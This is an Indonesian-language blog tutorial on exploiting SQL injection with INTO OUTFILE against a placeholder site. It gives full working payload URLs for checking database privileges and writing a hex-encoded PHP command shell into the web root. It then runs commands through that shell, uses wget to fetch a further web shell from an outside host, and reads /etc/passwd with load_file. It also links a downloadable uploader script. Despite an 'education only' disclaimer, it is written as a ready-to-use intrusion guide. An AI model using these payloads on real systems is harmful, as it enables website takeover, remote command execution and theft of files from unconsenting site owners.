Skip to content Skip to sidebar Skip to footer

Widget HTML #1

Tutorial Mudah SQL Injection Into Outfile


Halo, Apa kabar? Nah, jadi pada artikel kali ini saya ingin membahas tentang Tutorial SQL Injection Into Outfile, gimana penasaran?

Tutorial sql injection into outfile

Disclaimer: Oke, tulisan ini hanya didasarkan pada pengalaman saya yang mungkin tidak sama dengan pengalaman orang lain dan perbedaan dalam pandangan/pendapat itu ada, mohon untuk dimaklumi. Selebihnya hanya untuk edukasi.

Oh iya, Kalian masih tahu bagaimana cara melakukan injeksi manual pada website yang vulnerability/rentan terhadap serangan SQL Injection? Kalo tidak tahu atau baru belajar mungkin bisa baca artikel tentang SQL Injection Manual dulu ya.

Disini saya asumsikan dari teman-teman setidaknya mengerti basic sql injection, sehingga saya bisa langsung skip ke bagian injeksi setelah menemukan angka ajaib atau magic number, disini kebetulan target yang saya eksekusi angka ajaibnya nomor 2 yang muncul.

Mencari Target:

Kalo soal target saya tidak mempublish yang aslinya, disini target saya (contoh) victim.com kemudian saya mencari point injeksinya dengan menggunakan dork "site:victim.com id=" dan setelah ketemu vulnya url jadi seperti ini https://victim.com/article.php?id=24

#1. Mengecek Hak Akses ke Target

Disini saya biasanya melihat user database yang digunakan terlebih dahulu.

https://victim.com/article.php?id=-24+union+select+1,user(),3,4,5--

Sqli into outfile cek user

Muncul user root@namaweb kita bisa konfirmasi sekali lagi dengan menggunakan query untuk mengecek file_priv

https://target.com/article.php?id=-24+union+select+1,group_concat(user,0x3a,file_priv),3,4,5+from+mysql.user--

Sql injection into outfile cek user root

Bisa juga untuk mengecek user privilege dengan dios berikut ini:

https://victim.com/article.php?id=-24+union+select+1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3,4,5--

Cek user privilege site target

#2. Cara Eksekusi Sql Incetion Into Outfile

Berikut ini cara untuk eksekusi into outfile, jadi kita harus tau path dimana website target tersebut berada. Kita bisa memanfaatkan dari error yang ditampilkan.

Sql imjection error into outfile
Dicontoh saya ini, terlihat path errornya ada di F\:ContentSite\latestArticle.php nah jadi dari situ saya tahu pathnya.

<?php system($_GET[cmd]);?> 
Ini script untuk mengeksekusi command dari server dan jangan lupa diconvert ke Hexa dulu lalu tambahkan 0x diawal jadi seperti ini 0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e

Bagaimana kalo menggunakan script yang lain? Bisa juga, dengan menggunakan script uploader yang sudah convert ke hexa ini, atau mungkin bisa dengan script yang kalian miliki.

Download uploader ini https://pastebin.com/raw/9H5iZUGx

Into outfile F:\ContentSite\xxx.php ini adalah perintah untuk menanam script tadi dengan nama file xxx.php di direktori homenya yaitu ContentSite.

Jadi query into outfilenya lengkapnya seperti ini:

https://victim.com/article.php?id=-24+union+select+1,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e,3,4,5+into+outfile+'F:/ContentSite/xxx.php'--

Setelah kalian eksekusi, ternyata kok tampilan muncul error? Itu sebenernya tidak menjadi masalah. Sekarang kita langsung akses path shellnya aja.

https://victim.com/xxx.php

Cara eksekusi shell seperti ini:

Ketikan saja seperti ini

https://victim.com/xxx.php?cmd=(perintah)
View source into outfile

Berikut ini cara upload shell into outfile dengan perintah wget, tapi shellnya harus berformat txt ya.

https://victim.com/xxx.php?cmd=wget https://urlshell.com/minishell.txt

Lalu kalian rename minishell.txt menjadi format minishell.php

https://victim.com/xxx.php?cmd=mv minishell.txt minishell.php

Untuk mengakses shell urlnya seperti berikut ini.

https://victim.com/minishell.php

Jadi sampai sini kalian sudah berhasil mengupload shell dengan menggunakan query into outfile. Langkah ini sebenarnya lebih praktis daripada kita harus dump user/pass kemudian kita harus melakukan craking/hash password ataupun username, dan juga pernah susah banget mencari admin login website tersebut yang kadang ketemu kadang tidak.

#3. Mengeksekusi Load File

Jadi selain untuk menambahkan file ke website target, SQL Injection bisa juga digunakan untuk melihat isi dari file yang ada diwebsite tersebut. Sebenarnya langkah ini tidak diperlukan lagi ketika sudah berhasil melakukan upload shell ke website target, tapai gakpapalah ya sekedar menambah refrensi aja.

Memeriksa isi file /etc/passwd

https://victim.com/article.php?id=-24+union+select+1,load_file('/etc/passwd'),3,4,5--

Mengecek isi load file /etc/passwd
Disini tampilan hanya error, kali ini gagal saat mau mencoba melihat isi /etc/passwd

Kemudian saya coba melanjutkan memeriksa file config database, tapi disini gagal website target yang saya eksekusi tidak menampilkan apa-apa hanya tampilan error, ya mau gimana lagi? Gakpapa kan udah bisa upload shell hehe.

Bagaimana menurutmu? Gampangkan? Sekian pembahasan tentang Tutorial SQL Injection Into Outfile semoga bermanfaat dan menambah suatu pengetahuan buat kalian.

Dari saya jika ada kekurangan mohon maaf ya nanti saya update. Jika kalian ingin berbagi informasi dengan pengunjung yang lain silahkan tuliskan dikolom komentar dibawah, terimakasih.

2 comments for "Tutorial Mudah SQL Injection Into Outfile"

  1. Bang aku gak ada ginianya "F\:ContentSite\latestArticle.php" cara nyari gituanya gimana bang

    ReplyDelete
  2. Tutorial nya sangat bagus dan jelas, Jangan lupa juga kunjungi blog Saya.

    Blog : https://blog.eviltwin.id

    Terimakasih!

    ReplyDelete